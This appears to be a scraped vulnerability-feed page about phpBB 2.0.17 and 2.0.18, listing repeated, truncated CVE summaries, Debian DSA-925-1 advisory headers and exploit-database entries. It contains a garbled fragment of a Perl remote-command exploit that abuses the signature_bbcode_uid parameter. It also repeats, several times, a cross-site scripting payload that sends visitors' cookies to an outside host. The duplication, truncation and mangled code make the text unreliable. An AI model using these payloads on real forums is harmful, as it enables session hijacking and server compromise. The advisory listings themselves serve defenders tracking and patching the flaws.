phpBB 2.0.17 - 'signature_bbcode_uid' Remot Command

!/usr/bin/perl phpBB new or die; $cookiejar = HTTP::Cookies-new; for$i=0;$icookiejar $cookiejar ; $res = $xpl-post $path.'profile.php?GLOBALSsignaturebbcodeuid=.%2B/e%00', Content = 'username' = $name, 'email' = $rand.'[email protected]', 'newpassword' = $password, 'passwordconfirm' =...

CVE-2005-3537

A "missing request validation" error in phpBB 2 before 2.0.18 allows remote attackers to edit private messages of other users, probably by modifying certain parameters or other inputs...

CVE-2005-3536

SQL injection vulnerability in phpBB 2 before 2.0.18 allows remote attackers to execute arbitrary SQL commands via the topic type...

CVE-2005-3537

A "missing request validation" error in phpBB 2 before 2.0.18 allows remote attackers to edit private messages of other users, probably by modifying certain parameters or other inputs...

CVE-2005-3536

SQL injection vulnerability in phpBB 2 before 2.0.18 allows remote attackers to execute arbitrary SQL commands via the topic type...

CVE-2005-3536

CVE-2005-3536 : SQL injection in phpBB 2 prior to 2.0.18 via the topic type. Multiple connected advisories (Debian DSA-925-1, OpenVAS entries) confirm the vulnerability and suggest patching phpBB2 packages; remediation involves upgrading to the fixed phpBB version per the advisories. The affected...

CVE-2005-3537

CVE-2005-3537 affects phpBB 2 before 2.0.18, with a missing input/request validation flaw that enables remote attackers to edit private messages of other users by tampering with parameters or inputs. Public records in multiple feeds (NVD, Debian DSA, Red Hat, OpenVAS listings) confirm the vulnera...

CVE-2005-3537

A "missing request validation" error in phpBB 2 before 2.0.18 allows remote attackers to edit private messages of other users, probably by modifying certain parameters or other inputs...

CVE-2005-3536

SQL injection vulnerability in phpBB 2 before 2.0.18 allows remote attackers to execute arbitrary SQL commands via the topic type...

[SECURITY] [DSA 925-1] New phpbb2 packages fix several vulnerabilities

-------------------------------------------------------------------------- Debian Security Advisory DSA 925-1 [email protected] http://www.debian.org/security/ Martin Schulze December 22nd, 2005 http://www.debian.org/security/faq -...

[SECURITY] [DSA 925-1] New phpbb2 packages fix several vulnerabilities

-------------------------------------------------------------------------- Debian Security Advisory DSA 925-1 [email protected] http://www.debian.org/security/ Martin Schulze December 22nd, 2005 http://www.debian.org/security/faq -...

DSA-925-1 phpbb2 - several

Bulletin has no description...

phpBB 2.0.18 - Cross-Site Scripting Cookie Disclosure

phpBB 2.0.18 - Cross-Site Scripting Cookie Disclosure / phpBB " ''style='font-size:0;color:EFEFEF'style='top:expressionevalthis.sss;'sss=i=new//Image;i.src='http://www.url.com/cookie/c.php?c='+document.cookie;this.sss=nullstyle='font-size:0; X="' c.php: milw0rm.com 2005-12-21...

phpBB <= 2.0.18 Remote XSS Cookie Disclosure Exploit

Exploit for unknown platform in category web applications ==================================================== phpBB " ''style='font-size:0;color:EFEFEF'style='top:expressionevalthis.sss;'sss=i=new//Image;i.src='http://www.url.com/cookie/c.php?c='+document.cookie;this.sss=nullstyle='font-size:0;...

phpBB &lt;= 2.0.18 Remote XSS Cookie Disclosure Exploit

No description provided by source. / phpBB = 2.0.18 XSS Cookie Disclosure Proof of Concept -- 'the html is on exploit' original exploit by: cXIb8O3 - 12/16/2005 proof of concept by: jet -- http://jet.carbon-4.net/ develop a pure, lucid mind, not depending upon sound, flavor, touch, odor, or any...

phpBB 2.0.18 - Cross-Site Scripting / Cookie Disclosure

/ phpBB " ''style='font-size:0;color:EFEFEF'style='top:expressionevalthis.sss;'sss=i=new//Image;i.src='http://www.url.com/cookie/c.php?c='+document.cookie;this.sss=nullstyle='font-size:0; X="' c.php: milw0rm.com 2005-12-21...

CVE-2005-4358

admin/admindisallow.php in phpBB 2.0.18 allows remote attackers to obtain the installation path via a direct request with a non-empty setmodules parameter, which causes an invalid appendsid function call that leaks the path in an error message...

CVE-2005-4358

admin/admindisallow.php in phpBB 2.0.18 allows remote attackers to obtain the installation path via a direct request with a non-empty setmodules parameter, which causes an invalid appendsid function call that leaks the path in an error message...

CVE-2005-4357

Cross-site scripting XSS vulnerability in phpBB 2.0.18, when "Allowed HTML tags" is enabled, allows remote attackers to inject arbitrary Javascript via a permitted HTML tag with " quote characters and active attributes such as onmouseover...

CVE-2005-4357

Cross-site scripting XSS vulnerability in phpBB 2.0.18, when "Allowed HTML tags" is enabled, allows remote attackers to inject arbitrary Javascript via a permitted HTML tag with " quote characters and active attributes such as onmouseover...